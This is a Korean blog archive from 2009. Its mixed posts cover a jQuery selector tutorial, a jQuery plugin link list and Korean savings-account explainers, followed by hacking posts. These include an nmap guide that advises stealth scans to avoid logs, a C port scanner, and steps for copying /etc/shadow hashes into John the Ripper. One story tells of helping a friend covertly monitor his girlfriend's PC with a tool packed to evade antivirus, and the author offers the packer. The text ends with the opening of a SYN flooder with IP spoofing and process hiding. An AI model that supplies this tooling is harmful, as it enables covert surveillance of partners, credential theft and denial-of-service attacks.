일단, $(document).ready();라는 함수에 대해서는 설명을 드릴 필요가 있을 듯 합니다. 이는 jQuery가 제공하는 이벤트 메서드 중 하나인데요. 문서의 DOM 요소들을 조작 가능한 시점이 되면 자동으로 호출이 되는 이벤트 메서드라고 보시면 됩니다. 굳이 비교하자면, window.onload 이벤트와 유사한 것이라고 보면 되겠네요. 메서드의 인자로는 델리게이트 함수명을 기입하거나, 익명 함수를 작성하면 됩니다. jQuery를 사용하는 경우에는 일반적으로 별도의 델리게이트 함수를 작성하지 않고, 익명함수를 그대로 작성하곤 합니다. 해서, 소스에서도 그렇게 처리한 것을 보실 수 있습니다. 이 방식은 처음에는 뭔가 복잡해 보일 수 있습니다만, 차츰 매우 익숙해지게 되실 것입니다. 사실, $(document).ready()와 windows.onload 이벤트와는 확실한 차이점이 있습니다만, 일단은 비슷하다고만 기억을 하시고요. 나중에 관련 이야기가 본격적으로 펼쳐질 때, 다시 설명드리도록 하겠습니다.

그리고, 익명 함수 내에서는 다양한 jQuery 셀렉터들을 보실 수 있습니다. 일단, 셀렉터로 원하는 DOM 요소를 찾고, css() 라고 하는 jQuery의 메서드를 사용해서 스타일을 매기는 것을 볼 수 있습니다. 기본적으로 DOM 요소는 css() 라는 메서드는 가지고 있지 않지만, jQuery 셀렉터가 반환하는 개체는 jQuery 확장 개체이기에, 이러한 메서드를 사용해서 쉽게 스타일을 매길 수가 있습니다. 각각의 셀렉터가 어떤 DOM 요소와 일치하는 지는 설명을 드리지 않아도 되겠죠? 여러분이 이미 다 아실 수 있을테니까요. 다음은 이번 예제의 실행 결과입니다.

참 쉽죠?

다음 강좌에서는 이렇듯 막강한 셀렉터에 대해서 조금 더 알아볼 예정입니다. 즉, jQuery 셀렉터 필터라는 것에 대해서 살펴볼까 해요. 원래는 같이 하나의 강좌로 올리려 했는데 생각보다 길어져서 기본 셀렉터만 먼저 올리게 되었습니다 ^^; 셀렉터 필터까지 알고 나시면, 여러분은 찾고자 하는 DOM 요소를 정말 편하고 쉽게 얻어내실 수 있다고 장담합니다.

스크립트 라이브러리를 왜 써야 하는가?

물론, 안 써도 됩니다. 매번 스크립트 기능이 필요할 때마다 손수 다 작성해도 뭐라 그럴 사람은 없으니까요. 하지만, 팀 개발을 하는 경우나 유사한 프로젝트를 반복해서 하는 경우에는 여러분 스스로가 가벼운 수준일지라도 자신만의 라이브러리(일반적으로 유틸리티 function들을 모아놓은 js 파일들) 만들어 놓고 있을 것입니다. 그러면서, 뭔가 풍족하고도 믿고 사용할만한 라이브러리는 없을까 둘러보곤 하죠.

일반적으로 우리가 웹 프로젝트에서 공개된 혹은 상용의 스크립트 라이브러리를 사용하려는 데에는 다음과 같은 이유가 있기 때문입니다.

  • 모든 브라우저에서 올바로 동작하는 자바스크립트를 작성하기는 힘들다.
  • 유사한 기능을 위해서 반복적으로 스크립트 코드를 작성하곤 한다.
  • 수 많은 자바스크립트로 인해 사이트의 유지보수가 힘들다.

더 많은 이유가 있겠지만, 결론적으로 말하자면 스크립트 라이브러리를 사용할 경우, 공수(비용과 시간)를 줄일 수 있고, 개발 및 관리하기가 편해지며, 균일한 코드 퀄리티를 유지할 수 있고, 그에 따라 스트레스도 줄어들기 때문이라고 할 수 있을 것입니다. 사실 이것이 서버 측이던 클라이언트 측이던 프레임워크를 도입하는 대표적인 이유이기도 하죠. 

2009/07/16 16:19 2009/07/16 16:19

jQuery Grid Plugin
http://www.trirand.com/blog/?page_id=6 (*******)

팬시박스
http://fancy.klade.lv/ (****)

디자이너를 위한 jquery
http://www.webdesignerwall.com/demo/jquery/(****)

그리드
http://www.reconstrukt.com/ingrid/example2.html
AutoScroll
http://jdsharp.us/jQuery/plugins/AutoScroll/demo.php (****)
drag and drop
http://host.sonspring.com/dragdrop/ (***)
http://www.mootools.net/ (자바스크립트 프레임워크)
JQuery메뉴얼
http://docs.jquery.com/Tutorials

http://www.ajaxrain.com/tag.php?tag=image&page=1(예제모음 ****)


컬럭 Picker
http://www.intelliance.fr/jquery/color_picker/


jQuery MultiSelect
http://abeautifulsite.net/notebook_files/62/demo/jqueryMultiSelect.html


"jQuery checkbox v.1.0.0" demo
http://widowmaker.kiev.ua/checkbox/


jQuery Treeview Plugin Demo
http://jquery.bassistance.de/treeview/demo/


jQuery columnManager plugin
http://p.sohei.org/stuff/jquery/columnmanager/demo/demo.html



Example: Demo of jQuery fadeToggle plugin in action
http://yelotofu.com/labs/fade-toggle/



jQuery AIR
http://www.digital-web.com/extras/jquery_crash_course/


Masked Input Plugin
http://digitalbush.com/projects/masked-input-plugin


Watermark Input Plugin
http://digitalbush.com/projects/watermark-input-plugin


PHP & JQuery Photo Upload and Crop - DEMO
http://www.webmotionuk.co.uk/jquery/image_upload_crop.php


jCarousel
http://www.gmarwaha.com/jquery/jcarousellite/index.php


Easy Multi Select Transfer with jQuery
http://blog.jeremymartin.name/2008/02/easy-multi-select-transfer-with-jquery.html


jquery.xslTransform  Perform browser-based XSL transformations on the fly.
http://jquery.glyphix.com/


clueTip : A jQuery Plugin
http://examples.learningjquery.com/62/demo/


jQuery sliding gallery demo
http://phplug.net/components/javascript/jquery-gallery.html


ClockPick
http://www.oakcitygraphics.com/jquery/clockpick/trunk/ClockPick.cfm


jQuery File Tree Demo
http://abeautifulsite.net/notebook_files/58/demo/


jQuery Lightbox Plugin (balupton edition)
http://www.balupton.com/sandbox/jquery_lightbox/


imagebox
http://www.intelliance.fr/jquery/imagebox/


phpImageCloud jquery example.
http://phpimagecloud.sourceforge.net/examples/jquery/


chart
http://www.reach1to1.com/sandbox/jquery/jqchart/


슬라이드컨텐츠
http://thizzdesigns.110mb.com/coda/index.html#1

달력
http://tedserbinski.com/jcalendar/index.html#demo


3D로테이션
http://www.willjessup.com/sandbox/jquery/rotator/rotator.html


그리드
http://checkyourroster.com/testing/jQuery%20grid%20demo.htm


이모티콘
http://packed.it/JSmile/demo/


prettyPhoto a jQuery lightbox clone
http://www.no-margin-for-errors.com/projects/prettyPhoto/


스크롤중 데이터가져오기
http://www.webresourcesdepot.com/dnspinger/
http://www.webresourcesdepot.com/load-content-while-scrolling-with-jquery/


이미지 슬라이딩
http://www.maxb.net/scripts/ycodaslider-2.0/include/demo/#10


Query Flash Plugin - Basic Example
http://jquery.lukelutman.com/plugins/flash/example-basic.html


메뉴애니메이션
http://www.getintothis.com/pub/projects/rb_menu/

Tagging Demo
http://remysharp.com/wp-content/uploads/2007/12/tagging.php

JQuery Select Box
http://www.brainfault.com/demo/selectbox/?field1=ddd&myselectbox=3
jquery combobox demo
http://jquery.sanchezsalvador.com/samples/example.htm
그리드
http://reconstrukt.com/ingrid/example1.html

jQuery Autocomplete Mod
http://www.pengoworks.com/workshop/jquery/autocomplete.htm
Select combobox below and type in your text.
http://stuff.rajchel.pl/jec/
Select Combo Plugin
http://lasso.pro/selectCombo/
scrollable table
http://www.webtoolkit.info/demo/jquery/scrollable/demo.html

accordion-madness
http://www.learningjquery.com/2007/03/accordion-madness


jQuery Multimedia Portfolio
http://www.openstudio.fr/jquery/

체크박스 이동
http://sanisoft-demo.com/jquery/plugins/shiftcheckbox/demo.html
위지윅에디터
http://projects.bundleweb.com.ar/jWYSIWYG/
크랍
http://remysharp.com/2007/03/19/a-few-more-jquery-plugins-crop-labelover-and-pluck/#crop
슬라이딩 퍼즐
http://www.bennadel.com/blog/1009-jQuery-Demo-Creating-A-Sliding-Image-Puzzle-Plug-In.htm

날짜픽업
http://kelvinluck.com/assets/jquery/datePicker/v2/demo/
레이팅
http://php.scripts.psu.edu/rja171/widgets/rating.php
JQuery Curvy Corners Demo page
http://blue-anvil.com/jquerycurvycorners/test.html


http://www.mind-projects.it/blog/jqzoom_v10

LavaLamp for jQuery lovers!
http://gmarwaha.com/blog/?cat=8

컬러
http://www.jnathanson.com/blog/client/jquery/heatcolor/index.cfm#examples


비쥬얼 쿼리
http://visualjquery.com/1.1.2.html

jQuery "Highlight" Demo
http://www.keyframesandcode.com/resources/javascript/jQuery/demos/highlight-demo.html

Hot Key Testing
http://jshotkeys.googlepages.com/test-static.html



accordion menu
http://www.i-marco.nl/weblog/jquery-accordion-menu-redux/


jQuery easyThumb
http://www.hverven.net/div/easyThumb/


갤러리
http://www.flyerstop.ca/ui/apps/gallery_advanced/


thickbox
http://jquery.com/demo/thickbox/


마우스휠 플러그인
http://www.ogonek.net/mousewheel/jquery-demo.html
http://www.ogonek.net/mousewheel/demo.html

휴먼메세지
http://binarybonsai.com/misc/humanmsg/



jQuery - LinkedSelect
http://www.msxhost.com/jquery/linked-selects/json/


jQuery » iFrame Sizing
http://host.sonspring.com/iframe/


jQuery for Designers - Ajax Form Validation Example
http://jqueryfordesigners.com/demo/ajax-validation.php


폰트크기 바꾸기
http://www.lllcolor.com/jQuery/demo/demo01b.html


dimension
http://brandonaaron.net/docs/dimensions/#code-samples


portlet 데모
http://www.rymix.co.uk/jquery/d15/sortables2.html


FX데모
http://magalies.net/downloads/Jquery/Interface%20examples/demos/ifx.html#pulsate-fx


오픈윈도우
http://magalies.net/downloads/Jquery/Interface%20examples/demos/windows.html


JQuery tricks: using Greybox + form plugin for a modal dialog box
http://corky.net/dotan/programming/jquery.dialog/dialog-demo.html


FaceBoox style autosuggest with jQuery
http://web2ajax.fr/examples/facebook_searchengine/


Auto-Growing Textarea Demo
http://www.aclevercookie.com/demos/autogrow_textarea.html


jQuery Helper for Komodo Media CSS Star Rater (Redux)
http://www.m3nt0r.de/devel/raterDemo/


에디터
http://avidansoft.com/dsrte/


jQuery Keyboard Navigation Plugin
http://amountaintop.com/project/keynav/



http://jqueryfordesigners.com/demo/tabs.html


jQuery AccessKey Demo
http://methvin.com/jquery/jq-access.html


Semi-transparent rollover effect using jQuery
http://coderseye.com/files/demos/pngrollover/index.html


Revealing Photo Slider
http://css-tricks.com/examples/RevealingPhotoSlider/


Simple jQuery form validation
http://www.willjessup.com/sandbox/jquery/form_validator/form_validate.html


after callback demo
http://jsdesigning.com/gal/gal.php?top=10&id_pic=9&id_album=2


갤러리
http://devkick.com/lab/galleria/demo_01.htm#img/ladybug.jpg


SWF Upload
http://www.alexandremagno.net/blog/wp-content/uploads/swfupload/index.htm

jQuery gradient - Visual Test
http://brandonaaron.net/jquery/plugins/gradient/test/


tEditable :: In place table editing for jQuery
http://joshhundley.com/teditable/index.html


sort
http://interface.eyecon.ro/demos/sort.html

http://geeknation.blinklist.com/tag/jQuery/


http://www.nalanta.com/node/7
http://www.noupe.com/jquery/50-amazing-jquery-examples-part1.html
http://www.blinklist.com/mungkey/jquery/
http://geekswithblogs.net/AzamSharp/archive/2008/02/21/119882.aspx


http://www.learningjquery.com/2006/12/multiple-fancy-drop-caps

http://www.trirand.com/blog/?page_id=5

http://peopl.iola.dk/olau/flot/examples/selection.html(챠트 선택)

http://www.mootools.net/dragdrop/

http://plugins.jquery.com/project/Plugins/category/21


http://mohamedshaiful.googlepages.com/add_remove_form.htm

http://www.chazzuka.com/Portofolio/


http://dev.jquery.com/view/tags/ui/1.5b2/demos/ui.sortable.html


http://hooney.net/code/2007/08/UnobtrusiveTabNav/tabNav03.html

http://jqueryfordesigners.com/coda-slider-effect/

http://benjaminsterling.com/jquery-jqgalview-photo-gallery/

http://www.mind-projects.it/blog/jqzoom_v10


http://www.reach1to1.com/sandbox/jquery/jqchart/

http://jquery.lukelutman.com/plugins/flash/

http://leandrovieira.com/projects/jquery/lightbox/

http://marcgrabanski.com/code/ui-datepicker/
http://www.noupe.com/ajax/37-more-shocking-jquery-plugins.html
http://www.webdesignerwall.com/demo/jquery/
http://www.gcmingati.net/wordpress/wp-content/lab/jquery/imagestrip/imageslide-plugin.html
http://cssglobe.com/post/1695/easiest-tooltip-and-image-preview-using-jquery
http://www.gcmingati.net/wordpress/wp-content/lab/jquery/imagestrip/imageslide-plugin.html
http://jquery.glyphix.com/
http://www.balupton.com/sandbox/jquery_lightbox/
챠트
http://www.filamentgroup.com/lab/creating_accessible_charts_using_canvas_and_jquery/


http://sorgalla.com/projects/jcarousel/

http://designreviver.com/tutorials/jquery-examples-horizontal-accordion

http://host.sonspring.com/portlets/

http://www.webdesignerwall.com/tutorials/jquery-tutorials-for-designers/

http://www.digital-web.com/extras/jquery_crash_course/

http://www.blinklist.com/codearachnid/jquery/

http://drupalmodules.com/module/image-enhanced-scaling

http://www.ajaxdaddy.com/store

http://www.ajaxrain.com/tag.php?tag=image&page=2(모음)
http://www.spicyexpress.net/general/jquerry-at-it-best-downloadable-jquerry-plugins-and-widgets-for-you-2/(예제모음)

http://mike.teczno.com/giant/pan/(pan)

2009/07/16 16:17 2009/07/16 16:17

만능 청약 통장이라고 불리는 것이 '주택청약종합저축' 이랍니다.

평소 적금이나 저축을 안하더라도 이것 하나쯤은 꼭 들어야 하지요.

사용자 삽입 이미지

국토해양부가 주관하는 만능통장은 5 곳의 시중은행(우리/농협/기업/신한/하나은행)에서 만들수 있습니다.


자격이나 연령제한없이 1인 1통장을 가질수 있고, 매월 2만원~50만원까지 자유롭게 납입하시면 됩니다.


적용금리 역시 시중은행의 다른 상품보다 높은 수준의 금리가 적용된답니다.

가입일부터 1년 미만은 2.5%, 1년이상 2년 미만은 3.5%, 2년 이상은 4.5%가 적용되는 것이죠.


만능통장에 가입해두면 나중에 희망 주택을 청약 할수도 있구요.

소득공제 혜택도 늘어날 방침이라고 합니다.


5월 6일 출시라고는 하지만

만능통장을 취급하는 5 곳의 시중은행(우리/농협/기업/신한/하나은행)에서

사전 예약 신청을 받기 때문에 지금 미리 만들어 두시는게 좋답니다.

2009/06/18 18:07 2009/06/18 18:07

※ CMA /단점

--장점--
1.
인터넷 뱅킹이 가능하다. (펀드 월 10만원 이상 자동이체만 걸어놓으면 인터넷 뱅킹 수수료도 면제)

2. 대부분 체크카드 연계사용이 가능하다.

3. 급여 자동이체를 할 수 있다.

4. 공과금이나 신용카드 대금, 보험료 등 납부가 가능하다.

5. 현금카드를 통해 CD, ATM기로 현금 인출이 가능하다.

6. CMA발급 회사에 따라 2000만원까지 마이너스 통장이 가능하다.

7. 그러면서 은행 예금과 비슷한 수익을 매일 준다.

8. 종금사에서 가입하는 CMA 5000만원 까지 예금자 보호도 된다. (RP-CMA제외)

--단점--

1. CMA 상품을 판매하고 있는 종금사나 증권사들은 주요 은행과 제휴, 연계계좌를 발급해주는데 제휴 은행이 많지는 않다. (2개 이하가 대부분이며 최고가 5)

2. 자동이체 징수 관련 기관도 한정되어 있으며 여기에 포함되어 있지 않은 카드사나 통신사, 보험사, 백화점 등은 자동이체가 불가능하다.

3. CMA발급 회사에 따라 마이너스 대출이 불가능하다.

4. 연계계좌는 가상계좌이므로 거래 실적은 모두 해당 증권사나 종금사에 기록되므로 기존 은행에서 대출을 받을 경우 실적 때문에 제한을 받을 수 있다.

5. 기존에 가지고 있는 계좌로는 연계계좌가 불가능하므로 월급이체, 각종 공과금, 카드 대금 자동이체 계좌를 바꾸는 번거로움이 있다.

6. CD기를 이용할 때 출금은 자유롭지만 입금은 할 수 없는 경우도 있다.

(미래에셋은 시간제한이 있음 8시~22시까지만 거래가능)
7. CMA
중 ‘RP(환매조건부채권) CMA통장’은 가입자가 헌 금리에서 새 금리로 갈아타는 절차를 별도로 밟지 않으면 금리 인상 시, 인상된 금리를 적용해주지 않는다. 참고로 증권사 CMA는 모두 RP CMA.

8. 평일 />오후 5 이후나 주말 및 휴일에는 은행으로 천 만원 이상 이체가 불가능하다. 따라서 부동산 거래 등으로 인한 거액 이체를 약정 했을 경우 다음과 같은 황당한 상황을 경험할 수 있으니 주의를 요한다.

 

CMA 이자율

CMA 비교 2007.07.25    

증권회사  1~30 31~90 91~180 181~360

동양증권 CMA 4.2 4.2 4.5 4.6

동양증권 CMA-RP 4.6 4.65 4.7 

미래에셋 CMA-RP 4.5 4.6 4.7 4.7

*동양종금/메리츠종금 CMA 5천만원까지 원금보장.(2007년 07월 20 예상금리)

à미래 에셋은 RP에 투자하므로 예금자 보호 안된다는게 단점으로 작용하지 않음

RP(Repurchase Agreements)?

RP는 예금자 보호대상 상품은 아니지만 고객이 매수한 RP채권은 증권예탁원에 "고객분"으로 구분하여 예탁하고 있어 RP채권의 발행 기관인 국가나 공공기관 및 은행 등이 파산하지 않는 이상 고객의 자산은 안전하게 보호됩니다.

à이자율도 비슷하기 때문에 상관없음

 

CMA 통장을 개설

가까운 증권사나 종금사를 찾아가 신청서를 작성하면 그 자리에서 통장과 카드가 발급된다. 통장과 카드에는 주거래 은행의 연결계좌 번호가 적혀 있다. 이는 가상 계좌로서 금융 거래 시 직접 증권사나 종금사를 찾아가는 불편함을 줄이기 위한 방안으로 CMA 통장으로 송금이나 입금할 때, CD기를 이용해 입출금할 때 사용하면 된다.

※ CMA Q&A
1. 매달 지정된 계좌에 돈을 이체 예약 할수 있나요? 예
2. 미래에셋 증권 계좌와 CMA 계좌를 같이 사용할 경우 증거금 100%계좌로 됩니다.
3. 증권과 CMA가 통합된경우 주식을 살려면 어떻게 해야되나요?
    HTS상에 RP매도후 주식을 살수 있습니다.
3. RP 매도후 주식 매입하려 했을때 그날 주식을 사지 않으면 RP환매한 금액은 어떻게?
    그날 주식을 사지 않았을 경우 오후 10시에 자동으로 RP매수가 됨.

2009/06/18 18:02 2009/06/18 18:02

진짜 희안하네요.ㅎㅎ 아직도 약간에 꽁수를 쓰면 알약/에서 안걸린다는 제길 ~~


2009/06/18 17:54 2009/06/18 17:54
NMAP은 port Scanning 툴로서 호스트나 네트워크를 스캐닝 할 때, 아주 유용한 시스템 보안툴인 동시에, 해커에게는 강력한 해킹툴로 사용될 수 있습니다.

서버를 운영하다 보면 관리자 스스로도 어떤 포트가 열려있고, 또 어떤 서비스가 제공중인지 잘
모를때가 있습니다. 기억력이 나빠서나, 게을러서가 아니라 필요에 의해 자주 변경되므로 수시로
파악해서 기록해두지 않으면 잊어버리게 됩니다. 또 크래킹에 의해 생성된 백도어는 파악하기가
어렵습니다.

수 많은 포트와 서비스를 효과적으로 체크해서 관리하기 위해서 NMAP과 같은 포트 스캔 툴이
필요합니다.
NMAP은 기존의 포트스캔툴에 비해 다양한 옵션과 방화벽 안쪽의 네트웍도 스캔할 수 있는 강력한
기능이 있습니다.

1. 설치

http://www.insecure.org/nmap

nmap 의 홈페이지에서 소스파일을 내려 받습니다. 그 후에 설치할 디렉토리로 옮긴후에 압축을
풉니다. 그 후에 해당 디렉토리에서 ./configure 를 실행한 후에make, make install 을 실행합니다.


[root@gyn nmap-2.54BETA30]# ./configure
[root@gyn nmap-2.54BETA30]# make; make install

설치가 끝났으면 몇 가지 스캔 타입을 알아봅시당.

-sT 일반적인 TCP 포트스캐닝.
-sS 이른바 'half-open' 스캔으로 추적이 어렵다.
-sP ping 을 이용한 일반적인 스캔.
-sU UDP 포트 스캐닝.
-PO 대상 호스트에 대한 ping 응답을 요청하지 않음 .
log 기록과 filtering 을 피할 수 있다.
-PT 일반적이 ICMP ping이 아닌 ACK 패킷으로 ping 을 보내고
RST 패킷으로 응답을 받는다.
-PI 일반적인 ICMP ping 으로 방화벽이나 필터링에 의해 걸러진다.
-PB ping 을 할 때 ICMP ping 과 TCP ping을 동시에 이용한다.
-PS ping 을 할 때 ACK 패킷대신 SYN 패킷을 보내 스캔.
-O 대상 호스트의 OS 판별.
-p 대상 호스트의 특정 포트를 스캔하거나, 스캔할 포트의 범위를 지정.
ex) -p 1-1024
-D Decoy 기능으로 대상 호스트에게 스캔을 실행한 호스트의 주소를 속인다.
-F /etc/services 파일 내에 기술된 포트만 스캔.
-I TCP 프로세서의 identd 정보를 가져온다.
-n IP 주소를 DNS 호스트명으로 바꾸지 않는다. 속도가 빠르다.
-R IP 주소를 DNS 호스트명으로 바꿔서 스캔. 속도가 느리다.
-o 스캔 결과를 택스트 파일로 저장.
-i 스캔 대상 호스트의 정보를 지정한 파일에서 읽어서 스캔.
-h 도움말 보기

위의 스캔타입은 자주 쓰이는 내용이고 -h 옵션을 쓰거나 man page를 이용하면 아주 상세한
사용방법을 보실 수 있습니다.


[gyn@gyn gyn]$ man nmap
NMAP(1) NMAP(1)

NAME
nmap - Network exploration tool and security scanner

SYNOPSIS
nmap [Scan Type(s)] [Options] <host or net #1 ... [#N]>

..중략..

[gyn@gyn gyn]$ nmap -h
Nmap V. 2.54BETA30 Usage: nmap [Scan Type(s)] [Options] <host or net list>
Some Common Scan Types ('*' options require root privileges)
-sT TCP connect() port scan (default)
* -sS TCP SYN stealth port scan (best all-around TCP scan)
* -sU UDP port scan

..중략..


2. 사용.

몇가지 사용 예를 통해 nmap을 활용해 보시죠.


[root@gyn root]# nmap -sP xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
Host gyn (xxx.xxx.xxx.xxx) appears to be up.

Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds

-sP 옵션으로 대상호스트가 살아 있음을 알아냈습니다. 이젠 특정 포트(80)를 검색해 보겠습니다.

[root@ home]# nmap -sP -PT80 xxx.xxx.xxx.xxx
TCP probe port is 80

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
Host (xxx.xxx.xxx.xxx) appears to be up.
Nmap run completed -- 1 IP address (1 host up) scanned in 1 second

지정된 포트가 아니라 대상호스트의 열린 포트를 모두 검색해 봅니다.


[root@ home]# nmap -sT xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
Interesting ports on (xxx.xxx.xxx.xxx):
(The 1526 ports scanned but not shown below are in state: closed)
Port State Service
22/tcp open ssh
53/tcp open domain
80/tcp open http
Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds

대상 호스트의 열린 포트를 알수는 있지만 로그가 남으므로 위험합니다.
스텔스 스캔으로 감시를 피해야 겠지요.

[root@webserver log]# nmap -sS xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
Interesting ports on (xxx.xxx.xxx.xxx):
(The 1526 ports scanned but not shown below are in state: closed)
Port State Service
22/tcp open ssh
53/tcp open domain
80/tcp open http

Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds

UDP port 스캔입니다. 시간이 많이 걸릴 수도 있습니다.


[root@gyn root]# nmap -sU localhost

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
Interesting ports on gyn (127.0.0.1):
(The 1450 ports scanned but not shown below are in state: closed)
Port State Service
53/udp open domain
699/udp open unknown

Nmap run completed -- 1 IP address (1 host up) scanned in 3 seconds

이번에는 -O 옵션으로 운영체제를 알아보겠습니다.


[root@webserver /root]# nmap -sS -O xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
Interesting ports on db (xxx.xxx.xxx.xxx):
(The 1530 ports scanned but not shown below are in state: closed)
Port State Service
22/tcp open ssh
113/tcp open auth
3306/tcp open mysql

TCP Sequence Prediction: Class=random positive increments
Difficulty=2158992 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.16

Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds

몇가지 예를 통해 사용법을 알아 보았습니다.

마지막을 부탁드릴 말씀은 자신이 직접 관리하지 않는, 호스트나 네트웍에서 테스트를 하는 것은
아주 무례한 행동이며, 관리가 엄격한 사이트의 경우 접속 제한은 당하는 경우도 있으므로
바람직하지 않은 방법으로 사용하는 일이 없길 바랍니다.

2009/06/18 17:42 2009/06/18 17:42
이거보다 짧은거 있으면..

#include
#include
#include
#include
#include
#include
#include

int port_scan(char *hostaddr, int cport);
int main(int argc, char *argv[])
{
int cport; // 포트 루프용 변수
if (argc < 2) {
printf("사용 방법 : ./portscan 호스트 IP ");
exit(1);
}
// 1부터 1023번 포트까지 체크 반복합니다.
for (cport = 1;cport < 1024;cport++) {
if (port_scan(argv[1], cport) == 0) {
printf("%5d open ", cport);
}
}
return 0;
}
int port_scan(char *hostaddr, int cport)
{
int sockfd; // 소켓 기술자
struct sockaddr_in destaddr; // 소켓 주소 구조체
int pok;
// 소켓 기술자 초기화
sockfd = socket(AF_INET, SOCK_STREAM, 0);
destaddr.sin_family = AF_INET;
destaddr.sin_addr.s_addr = inet_addr(hostaddr);
destaddr.sin_port = htons(cport);
bzero(&(destaddr.sin_zero), 8);

pok = connect(sockfd, (struct sockaddr *)&destaddr, sizeof(struct sockaddr));
close(sockfd);
// 연결 되면 0을, 아니면 -1을 리턴
if (pok == -1)
return -1;
return 0;
}
컴파일 할땐..: # gcc -o portscan portscan.c

실행 할시..: # ./portscan 호스트 IP
2009/06/18 17:39 2009/06/18 17:39
이는 root의 권한으로 수행되어야 함을 미리 알립니다.

보통 리눅스 시스템에서는 /etc/passwd 파일에 password를 저장했습니다.
하지만, 누구나 읽을 수 있는 /etc/passwd 파일은 해킹의 대상이 되었죠.
따라서, 리눅스 시스템은 /etc/shadow 라는 파일에 암호를 따로 저장합니다.

[root@xxx root]# ls -al /etc/passwd /etc/shadow
-rw-r--r--    1 root     root         2694  5월  9 14:29 /etc/passwd
-r--------    1 root     root         2024  5월  9 14:29 /etc/shadow
[root@xxx root]#

위에 보시면, passwd 파일은 other가 읽을 수 있는 권한이 있음이 보입니다.
하지만, shadow 파일은 root만이 읽을 수 있습니다. 또한, root는 수정도 할수 없지요.

중요한건 root는 읽을 수는 있다는 겁니다. 안그러면 아무 의미가 없겠죠?
아무도 로그인을 못할테니. 아무튼, 중요한건 그게 아니니까...

[root@xxx root]# cat /etc/shadow
....
test1:$1$dxH.pxpU$CpTS86RilpP5xo4igbv88/:12818:0:99991:77:::
test2:$1$ANn54aHO$GALmkrq.xUlCOb2XCNAO2/:12820:0:99991:77:::
....

위에 처럼 실행하면 해당 계정에 대한 암호화된 passwd가 보입니다.
(참고로, 위의 계정은 임의로 수정한겁니다. 크랙해도 머... 의미가... ㅋㅋ)

아무튼, test1을 크랙하고 싶다면, 그 해당 줄을 모두 복사합니다.
암호화된 부분만 가져오시면 안됩니다. (john the ripper는 있어야 함)
개인적인 생각에는 리눅스 시스템 암호화는 계정의 문자열과 그룹 번호 등등을 모두 이용하여 암호화 할지도 모른다는 생각이 드네요.
저두 암호화 쪽은 잘 몰라서 대강 그런 생각이 듭니다.
참고로, mysql 같은 경우에는 계정 문자열과는 상관없이 암호화 합니다.

아무튼, 이를 복사하여 일반 txt 파일로 저장 하면 됩니다.

예) pass.txt
내용 :
test1:$1$dxH.pxpU$CpTS86RilpP5xo4igbv88/:12818:0:99991:77:::

이렇게 저장하면 john the ripper가 crack 할수 있습니다.
2009/06/18 17:24 2009/06/18 17:24

전에 아는 분이. 여자친구 컴퓨터를 모니터링 하고 싶다고 했다.

절대 죽어도 안된다는 답변을 했고 그 아는 분이. 술을 마시고 죽는다고 했다.

참 이런 협박에 넘어가서.

좋다 . 그래 아주 간단하게 알려 주겠다. ㅎㅎ

그래서 해킹 툴을 알려 주고.

테스트 결과 100% 백신 걸리는 것이다 이런 .

그래서 용량을 압축하고 파일을 병합고 삽질 삽질 결과 V3 백신에 걸리지 않았다.

그래서 그친구는 약 1달 정도 여친 PC 를 모니터링 하더니 결국 헤어지고 말았다.

그때 사용했단 용량 압축 프로그램과 파일 합치는 프로그램 입니다. ^^

2009/06/18 17:21 2009/06/18 17:21
다운로드 :

출처 : john의 공식 site
         http://www.openwall.com/john/

사용법 :

1. 윈도우즈 용 john the ripper를 다운 받는다.

2. 특정한 위치에 저장을 한다.

3. cmd 창으로 해당 폴더로 이동한다.

4. john the ripper 1.7.x 버전의 경우 john-386.exe가 있다.
    그 이전 버전에는 john.exe로 존재하는 경우가 있다. (Windows 버전의 경우만 그렇다. 나머진 모른다.)
   이 위치를 잘 기억해 두자. (예. c:\john1701\run\)

5. 리눅스 시스템에서 암호화된 password를 가져와서 pass.txt로 저장한다.  
    자세히 보기
 
6. c:\john1701\run\john-386.exe pass.txt를 실행한다.
    옵션에 대한 정확한 글 보기 (출처: maxoverpro님의 네이버 블로그)

7. 진득하니... 오래오래... 기다린다...
    중간중간 너무 궁금하면 아무키나 누른다... 그럼 현재 검사하고 있는 문자열을 보여준다.
    넉넉히 몇일을 기다려 주자. 쩌비...

2009/06/18 17:16 2009/06/18 17:16
본 프로그램은 웹상에서 비밀번호 같은 것은 다 ***로 찍히잖아요?
그걸 원래 문자열로 보여주는 프로그램입니다.
2009/06/18 17:14 2009/06/18 17:14

다운 받으시구요..
컴파일 하시면 됩니다..
사용
./synk4 [srcaddr] [dstaddr] [low] [high
*srcaddr:출발지 주
*dstaddr:도착지 주
*low:시작 포트 번
*high: 끝 포트 번
만약 srcaddr(출발지 주소)가 0이면 임의의 주소(random)가 사용됩니다.


/* Syn Flooder by Zakath
 * TCP Functions by trurl_ (thanks man).
 * Some more code by Zakath.
 * Speed/Misc Tweaks/Enhancments -- ultima
 * Nice Interface -- ultima
 * Random IP Spoofing Mode -- ultima
 * How To Use:
 * Usage is simple. srcaddr is the IP the packets will be spoofed from.
 * dstaddr is the target machine you are sending the packets to.
 * low and high ports are the ports you want to send the packets to.
 * Random IP Spoofing Mode: Instead of typing in a source address,
 * just use '0'. This will engage the Random IP Spoofing mode, and
 * the source address will be a random IP instead of a fixed ip.
 * Released: [4.29.97]
 *  To compile: cc -o synk4 synk4.c
 *
 */
#include <signal.h>
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
/* These can be handy if you want to run the flooder while the admin is on
 * this way, it makes it MUCH harder for him to kill your flooder */
/* Ignores all signals except Segfault */
// #define HEALTHY
/* Ignores Segfault */
// #define NOSEGV
/* Changes what shows up in ps -aux to whatever this is defined to */
// #define HIDDEN "vi .cshrc"
#define SEQ 0x28376839
